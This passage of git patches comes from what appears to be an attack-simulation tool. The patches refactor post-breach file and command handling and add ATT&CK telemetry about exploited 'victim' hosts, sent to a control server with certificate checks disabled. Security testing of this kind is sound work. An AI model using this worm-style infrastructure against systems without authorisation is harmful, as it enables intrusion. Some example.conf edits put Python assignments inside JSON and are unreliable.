config.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd + else: + file_pba.add_default_command(is_linux=True) + elif config.custom_PBA_linux_cmd: + command_pba.linux_command = config.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if config.PBA_windows_filename: + if config.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ + config.custom_PBA_windows_cmd + else: + file_pba.add_default_command(is_linux=False) + elif config.custom_PBA_windows_cmd: + command_pba.windows_command = config.custom_PBA_windows_cmd # Add PBA's to list if file_pba.linux_command or file_pba.windows_command: diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index a991859c2..b4a33984e 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,6 +1,6 @@ import flask_restful from flask import send_from_directory -from cc.services.config import UPLOADS_DIR +from cc.resources.pba_file_upload import GET_FILE_DIR __author__ = 'VakarisZ' @@ -11,4 +11,4 @@ class PBAFileDownload(flask_restful.Resource): """ # Used by monkey. can't secure. def get(self, path): - return send_from_directory(UPLOADS_DIR, path) + return send_from_directory(GET_FILE_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 08e4f752d..9a24a9a90 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,6 +1,7 @@ import flask_restful from flask import request, send_from_directory, Response -from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from cc.services.config import ConfigService +from cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR from cc.auth import jwt_required import os from werkzeug.utils import secure_filename diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 1a18c2611..923535096 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -10,6 +10,7 @@ from cc.services.config import ConfigService from cc.services.node import NodeService from cc.services.report import ReportService from cc.utils import local_ip_addresses +from cc.services.post_breach_files import remove_PBA_files __author__ = 'Barak' @@ -42,7 +43,7 @@ class Root(flask_restful.Resource): @staticmethod @jwt_required() def reset_db(): - ConfigService.remove_PBA_files() + remove_PBA_files() # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 6e0eb66a6..87b4bf914 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,7 +4,7 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types -import os +import cc.services.post_breach_files from cc.database import mongo from cc.encryptor import encryptor @@ -34,12 +34,6 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] -UPLOADS_DIR = 'monkey_island/cc/userUploads' - -# Where to find file names in config -PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] -PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] - class ConfigService: default_config = None @@ -152,7 +146,7 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there - ConfigService.keep_PBA_files(config_json) + cc.services.post_breach_files.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -163,18 +157,6 @@ class ConfigService: logger.info('monkey config was updated') return True - @staticmethod - def keep_PBA_files(config_json): - """ - Sets PBA file info in config_json to current config's PBA file info values. - :param config_json: config_json that will be modified - """ - if ConfigService.get_config(): - linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename - config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename - @staticmethod def init_default_config(): if ConfigService.default_config is None: @@ -200,7 +182,7 @@ class ConfigService: @staticmethod def reset_config(): - ConfigService.remove_PBA_files() + cc.services.post_breach_files.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) @@ -309,22 +291,3 @@ class ConfigService: pair['public_key'] = encryptor.dec(pair['public_key']) pair['private_key'] = encryptor.dec(pair['private_key']) return pair - - @staticmethod - def remove_PBA_files(): - if ConfigService.get_config(): - linux_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - windows_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - if linux_filename: - ConfigService.remove_file(linux_filename) - if windows_filename: - ConfigService.remove_file(windows_filename) - - @staticmethod - def remove_file(file_name): - file_path = os.path.join(UPLOADS_DIR, file_name) - try: - if os.path.exists(file_path): - os.remove(file_path) - except OSError as e: - logger.error("Can't remove previously uploaded post breach files: %s" % e) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py new file mode 100644 index 000000000..076fa7159 --- /dev/null +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -0,0 +1,43 @@ +import cc.services.config +import logging +import os + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + +# Where to find file names in config +PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] +PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] +UPLOADS_DIR = 'monkey_island/cc/userUploads' + + +def remove_PBA_files(): + if cc.services.config.ConfigService.get_config(): + windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + if linux_filename: + remove_file(linux_filename) + if windows_filename: + remove_file(windows_filename) + + +def remove_file(file_name): + file_path = os.path.join(UPLOADS_DIR, file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) + + +def set_config_PBA_files(config_json): + """ + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified + """ + if cc.services.config.ConfigService.get_config(): + linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename + config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 7fac2a167..84ca14850 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -58,7 +58,7 @@ class PostBreachComponent extends React.Component { render() { let pbaMachines = this.props.data.filter(function(value, index, arr){ - return ( value.pba_results !== "None" && value.pba_results.length); + return ( value.pba_results !== "None" && value.pba_results.length > 0); }); let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length; let showPagination = pbaMachines > pageSize; From 86a0053c9abbec7e3a7f976028d8d96d6cf7a183 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Mar 2019 20:28:05 +0200 Subject: [PATCH 186/201] Added monkey directories to example.conf --- monkey/infection_monkey/example.conf | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..bb5349eb8 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -8,7 +8,7 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - + ], "inaccessible_subnets": [], "blocked_ips": [], @@ -28,6 +28,9 @@ "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", + monkey_dir_linux = '/tmp/monkey_dir', + monkey_dir_windows = r'C:\Windows\Temp\monkey_dir', + "kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_windows": "%windir%\\monkey.not", From 266933abb47da8f2abb632dfe4ba10248ba18d55 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Mar 2019 20:09:09 +0200 Subject: [PATCH 187/201] Added custom post breach values to example.conf --- monkey/infection_monkey/example.conf | 4 ++++ monkey/infection_monkey/post_breach/post_breach_handler.py | 1 + 2 files changed, 5 insertions(+) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index ca8041382..cf79dbccc 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -98,4 +98,8 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None } diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 76788f851..ff24ebbbb 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -12,6 +12,7 @@ __author__ = 'VakarisZ' DIR_CHANGE_WINDOWS = 'cd %s & ' DIR_CHANGE_LINUX = 'cd %s ; ' + class PostBreach(object): """ This class handles post breach actions execution From 98814b4963cd8581d61bb84f6a9c69158c5d9b84 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Mar 2019 18:46:00 +0200 Subject: [PATCH 188/201] Telemetry implementation started --- .../transport/attack_telems/__init__.py | 1 + .../transport/attack_telems/base_telem.py | 41 +++++++++++++++++++ monkey/monkey_island/cc/resources/attack.py | 22 ++++++++++ 3 files changed, 64 insertions(+) create mode 100644 monkey/infection_monkey/transport/attack_telems/__init__.py create mode 100644 monkey/infection_monkey/transport/attack_telems/base_telem.py create mode 100644 monkey/monkey_island/cc/resources/attack.py diff --git a/monkey/infection_monkey/transport/attack_telems/__init__.py b/monkey/infection_monkey/transport/attack_telems/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py new file mode 100644 index 000000000..ad1908e95 --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -0,0 +1,41 @@ +from enum import Enum +from infection_monkey.config import WormConfiguration, GUID +import requests +import json +from infection_monkey.control import ControlClient +import logging + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + + +class ScanStatus(Enum): + # Technique wasn't scanned + UNSCANNED = 0 + # Technique was attempted/scanned + SCANNED = 1 + # Technique was attempted and succeeded + USED = 2 + + +class AttackTelem(object): + + def __init__(self, technique, status, data, machine=None): + self.technique = technique + self.result = status + self.data = {'machine': machine, 'status': status, 'monkey_guid': GUID} + self.data.update(data) + + def send(self): + if not WormConfiguration.current_server: + return + try: + reply = requests.post("https://%s/api/%s" % (WormConfiguration.current_server, self.technique), + data=json.dumps(self.data), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py new file mode 100644 index 000000000..457e6bfff --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack.py @@ -0,0 +1,22 @@ +import flask_restful +from flask import request, send_from_directory, Response +from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from cc.auth import jwt_required +import os +from werkzeug.utils import secure_filename +import logging +import copy + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class Attack(flask_restful.Resource): + """ + ATT&CK endpoint used to retrieve matrix related info + """ + + @jwt_required() + def post(self, attack_type): + From f36ff73c9e1fc56075b4eefc156288290298f6a7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 21 Mar 2019 16:55:36 +0200 Subject: [PATCH 189/201] Telemetry implemented --- monkey/infection_monkey/monkey.py | 4 +++ .../transport/attack_telems/base_telem.py | 33 ++++++++++++++----- .../attack_telems/victim_host_telem.py | 21 ++++++++++++ monkey/infection_monkey/utils.py | 24 ++++++++++++++ monkey/monkey_island/cc/app.py | 2 ++ monkey/monkey_island/cc/resources/attack.py | 22 +++++++------ .../cc/services/attck/__init__.py | 1 + .../cc/services/attck/attack_results.py | 11 +++++++ 8 files changed, 99 insertions(+), 19 deletions(-) create mode 100644 monkey/infection_monkey/transport/attack_telems/victim_host_telem.py create mode 100644 monkey/monkey_island/cc/services/attck/__init__.py create mode 100644 monkey/monkey_island/cc/services/attck/attack_results.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e80e15396..4d5d8f016 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,6 +17,8 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.transport.attack_telems.base_telem import ScanStatus +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' @@ -179,9 +181,11 @@ class InfectionMonkey(object): for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True + VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index ad1908e95..f90a53256 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -1,9 +1,10 @@ from enum import Enum -from infection_monkey.config import WormConfiguration, GUID +from infection_monkey.config import WormConfiguration import requests import json from infection_monkey.control import ControlClient import logging +from infection_monkey.utils import get_host_info __author__ = "VakarisZ" @@ -21,21 +22,35 @@ class ScanStatus(Enum): class AttackTelem(object): - def __init__(self, technique, status, data, machine=None): + def __init__(self, technique, status, data=None, machine=False): + """ + Default ATT&CK telemetry constructor + :param technique: Technique ID. E.g. T111 + :param status: int from ScanStatus Enum + :param data: Other data relevant to the attack technique + :param machine: Boolean. Should we pass current machine's info or not + """ self.technique = technique self.result = status - self.data = {'machine': machine, 'status': status, 'monkey_guid': GUID} - self.data.update(data) + self.data = {'status': status} + if data: + self.data.update(data) + if machine: + self.data.update({'machine': get_host_info()}) def send(self): + """ + Sends telemetry to island + :return: + """ if not WormConfiguration.current_server: return try: - reply = requests.post("https://%s/api/%s" % (WormConfiguration.current_server, self.technique), - data=json.dumps(self.data), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) + requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique), + data=json.dumps(self.data), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py new file mode 100644 index 000000000..e70c03c2c --- /dev/null +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -0,0 +1,21 @@ +from infection_monkey.transport.attack_telems.base_telem import AttackTelem + +__author__ = "VakarisZ" + + +class VictimHostTelem(AttackTelem): + + def __init__(self, technique, status, machine, data=None): + """ + ATT&CK telemetry that parses and sends VictimHost telemetry + :param technique: Technique ID. E.g. T111 + :param status: int from ScanStatus Enum + :param machine: VictimHost obj from model/host.py + :param data: Other data relevant to the attack technique + """ + super(VictimHostTelem, self).__init__(technique, status, data, machine=False) + victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} + if data: + self.data.update(data) + if machine: + self.data.update({'machine': victim_host}) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 741d7c950..05d0cf807 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,9 +2,13 @@ import os import sys import shutil import struct +import socket from infection_monkey.config import WormConfiguration +LOCAL_IP = '127.0.0.1' +MOCK_IP = '10.255.255.255' + def get_monkey_log_path(): return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ @@ -32,6 +36,26 @@ def is_windows_os(): return sys.platform.startswith("win") +def get_host_info(): + return {'hostname': socket.gethostname(), 'ip': get_primary_ip()} + + +def get_primary_ip(): + """ + :return: Primary (default route) IP address + """ + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + # doesn't even have to be reachable + s.connect((MOCK_IP, 1)) + ip = s.getsockname()[0] + except: + ip = LOCAL_IP + finally: + s.close() + return ip + + def utf_to_ascii(string): # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d43930206..88d7c9f5d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,6 +30,7 @@ from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService from cc.resources.pba_file_upload import FileUpload +from cc.resources.attack import Attack __author__ = 'Barak' @@ -123,5 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') + api.add_resource(Attack, '/api/attack/') return app diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py index 457e6bfff..681c54274 100644 --- a/monkey/monkey_island/cc/resources/attack.py +++ b/monkey/monkey_island/cc/resources/attack.py @@ -1,11 +1,8 @@ import flask_restful -from flask import request, send_from_directory, Response -from cc.services.config import ConfigService, PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR -from cc.auth import jwt_required -import os -from werkzeug.utils import secure_filename +from flask import request +import json +from cc.services.attck.attack_results import set_results import logging -import copy __author__ = 'VakarisZ' @@ -14,9 +11,14 @@ LOG = logging.getLogger(__name__) class Attack(flask_restful.Resource): """ - ATT&CK endpoint used to retrieve matrix related info + ATT&CK endpoint used to retrieve matrix related info from monkey """ - @jwt_required() - def post(self, attack_type): - + def post(self, technique): + """ + Gets ATT&CK telemetry data and stores it in the database + :param technique: Technique ID, e.g. T1111 + """ + data = json.loads(request.data) + set_results(technique, data) + return {} diff --git a/monkey/monkey_island/cc/services/attck/__init__.py b/monkey/monkey_island/cc/services/attck/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/monkey_island/cc/services/attck/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attck/attack_results.py b/monkey/monkey_island/cc/services/attck/attack_results.py new file mode 100644 index 000000000..fb8b1cd82 --- /dev/null +++ b/monkey/monkey_island/cc/services/attck/attack_results.py @@ -0,0 +1,11 @@ +import logging +from cc.database import mongo + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +def set_results(technique, data): + data.update({'technique': technique}) + mongo.db.attack_results.insert(data) From 11576c094200700b27615db635ab22a9d631f83b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Mar 2019 18:23:03 +0200 Subject: [PATCH 190/201] Files renamed to be more precise, typo in comment fixed. --- .../transport/attack_telems/victim_host_telem.py | 2 +- monkey/monkey_island/cc/app.py | 4 ++-- .../monkey_island/cc/resources/{attack.py => attack_telem.py} | 4 ++-- .../monkey_island/cc/services/{attck => attack}/__init__.py | 0 .../cc/services/{attck => attack}/attack_results.py | 0 5 files changed, 5 insertions(+), 5 deletions(-) rename monkey/monkey_island/cc/resources/{attack.py => attack_telem.py} (82%) rename monkey/monkey_island/cc/services/{attck => attack}/__init__.py (100%) rename monkey/monkey_island/cc/services/{attck => attack}/attack_results.py (100%) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py index e70c03c2c..c549bde1e 100644 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -7,7 +7,7 @@ class VictimHostTelem(AttackTelem): def __init__(self, technique, status, machine, data=None): """ - ATT&CK telemetry that parses and sends VictimHost telemetry + ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data :param technique: Technique ID. E.g. T111 :param status: int from ScanStatus Enum :param machine: VictimHost obj from model/host.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 88d7c9f5d..e8238185e 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,7 +30,7 @@ from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService from cc.resources.pba_file_upload import FileUpload -from cc.resources.attack import Attack +from cc.resources.attack_telem import AttackTelem __author__ = 'Barak' @@ -124,6 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(Attack, '/api/attack/') + api.add_resource(AttackTelem, '/api/attack/') return app diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack_telem.py similarity index 82% rename from monkey/monkey_island/cc/resources/attack.py rename to monkey/monkey_island/cc/resources/attack_telem.py index 681c54274..a206d21d0 100644 --- a/monkey/monkey_island/cc/resources/attack.py +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -1,7 +1,7 @@ import flask_restful from flask import request import json -from cc.services.attck.attack_results import set_results +from cc.services.attack.attack_results import set_results import logging __author__ = 'VakarisZ' @@ -9,7 +9,7 @@ __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -class Attack(flask_restful.Resource): +class AttackTelem(flask_restful.Resource): """ ATT&CK endpoint used to retrieve matrix related info from monkey """ diff --git a/monkey/monkey_island/cc/services/attck/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/attck/__init__.py rename to monkey/monkey_island/cc/services/attack/__init__.py diff --git a/monkey/monkey_island/cc/services/attck/attack_results.py b/monkey/monkey_island/cc/services/attack/attack_results.py similarity index 100% rename from monkey/monkey_island/cc/services/attck/attack_results.py rename to monkey/monkey_island/cc/services/attack/attack_results.py From 4496b0efa410f7be5fc9166aa1b2ca78f4c601ed Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 19:16:14 +0300 Subject: [PATCH 191/201] Changed base class not to send redundant info about current machine --- .../transport/attack_telems/base_telem.py | 11 +++------ .../attack_telems/victim_host_telem.py | 3 ++- monkey/infection_monkey/utils.py | 24 ------------------- .../cc/resources/attack_telem.py | 2 +- .../{attack_results.py => attack_telem.py} | 3 +++ 5 files changed, 9 insertions(+), 34 deletions(-) rename monkey/monkey_island/cc/services/attack/{attack_results.py => attack_telem.py} (76%) diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index f90a53256..054927a0d 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -1,10 +1,9 @@ from enum import Enum -from infection_monkey.config import WormConfiguration +from infection_monkey.config import WormConfiguration, GUID import requests import json from infection_monkey.control import ControlClient import logging -from infection_monkey.utils import get_host_info __author__ = "VakarisZ" @@ -22,26 +21,22 @@ class ScanStatus(Enum): class AttackTelem(object): - def __init__(self, technique, status, data=None, machine=False): + def __init__(self, technique, status, data=None): """ Default ATT&CK telemetry constructor :param technique: Technique ID. E.g. T111 :param status: int from ScanStatus Enum :param data: Other data relevant to the attack technique - :param machine: Boolean. Should we pass current machine's info or not """ self.technique = technique self.result = status - self.data = {'status': status} + self.data = {'status': status, 'id': GUID} if data: self.data.update(data) - if machine: - self.data.update({'machine': get_host_info()}) def send(self): """ Sends telemetry to island - :return: """ if not WormConfiguration.current_server: return diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py index c549bde1e..4ed88ef95 100644 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -1,4 +1,5 @@ from infection_monkey.transport.attack_telems.base_telem import AttackTelem +from infection_monkey.config import GUID __author__ = "VakarisZ" @@ -13,7 +14,7 @@ class VictimHostTelem(AttackTelem): :param machine: VictimHost obj from model/host.py :param data: Other data relevant to the attack technique """ - super(VictimHostTelem, self).__init__(technique, status, data, machine=False) + super(VictimHostTelem, self).__init__(technique, status, data) victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr} if data: self.data.update(data) diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 05d0cf807..741d7c950 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,13 +2,9 @@ import os import sys import shutil import struct -import socket from infection_monkey.config import WormConfiguration -LOCAL_IP = '127.0.0.1' -MOCK_IP = '10.255.255.255' - def get_monkey_log_path(): return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ @@ -36,26 +32,6 @@ def is_windows_os(): return sys.platform.startswith("win") -def get_host_info(): - return {'hostname': socket.gethostname(), 'ip': get_primary_ip()} - - -def get_primary_ip(): - """ - :return: Primary (default route) IP address - """ - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - # doesn't even have to be reachable - s.connect((MOCK_IP, 1)) - ip = s.getsockname()[0] - except: - ip = LOCAL_IP - finally: - s.close() - return ip - - def utf_to_ascii(string): # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py index a206d21d0..0dfa013e8 100644 --- a/monkey/monkey_island/cc/resources/attack_telem.py +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -1,7 +1,7 @@ import flask_restful from flask import request import json -from cc.services.attack.attack_results import set_results +from cc.services.attack.attack_telem import set_results import logging __author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attack/attack_results.py b/monkey/monkey_island/cc/services/attack/attack_telem.py similarity index 76% rename from monkey/monkey_island/cc/services/attack/attack_results.py rename to monkey/monkey_island/cc/services/attack/attack_telem.py index fb8b1cd82..a55ab2f99 100644 --- a/monkey/monkey_island/cc/services/attack/attack_results.py +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -1,3 +1,6 @@ +""" +File that contains ATT&CK telemetry storing/retrieving logic +""" import logging from cc.database import mongo From 250fcb97bbd32686e6fd880e71a78dbdb8ab68ae Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 19:50:28 +0300 Subject: [PATCH 192/201] Revert "Changed base class not to send redundant info about current machine" This reverts commit 4496b0efa410f7be5fc9166aa1b2ca78f4c601ed. --- .../transport/attack_telems/base_telem.py | 11 ++++++--- .../attack_telems/victim_host_telem.py | 3 +-- monkey/infection_monkey/utils.py | 24 +++++++++++++++++++ .../cc/resources/attack_telem.py | 2 +- .../{attack_telem.py => attack_results.py} | 3 --- 5 files changed, 34 insertions(+), 9 deletions(-) rename monkey/monkey_island/cc/services/attack/{attack_telem.py => attack_results.py} (76%) diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index 054927a0d..f90a53256 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -1,9 +1,10 @@ from enum import Enum -from infection_monkey.config import WormConfiguration, GUID +from infection_monkey.config import WormConfiguration import requests import json from infection_monkey.control import ControlClient import logging +from infection_monkey.utils import get_host_info __author__ = "VakarisZ" @@ -21,22 +22,26 @@ class ScanStatus(Enum): class AttackTelem(object): - def __init__(self, technique, status, data=None): + def __init__(self, technique, status, data=None, machine=False): """ Default ATT&CK telemetry constructor :param technique: Technique ID. E.g. T111 :param status: int from ScanStatus Enum :param data: Other data relevant to the attack technique + :param machine: Boolean. Should we pass current machine's info or not """ self.technique = technique self.result = status - self.data = {'status': status, 'id': GUID} + self.data = {'status': status} if data: self.data.update(data) + if machine: + self.data.update({'machine': get_host_info()}) def send(self): """ Sends telemetry to island + :return: """ if not WormConfiguration.current_server: return diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py index 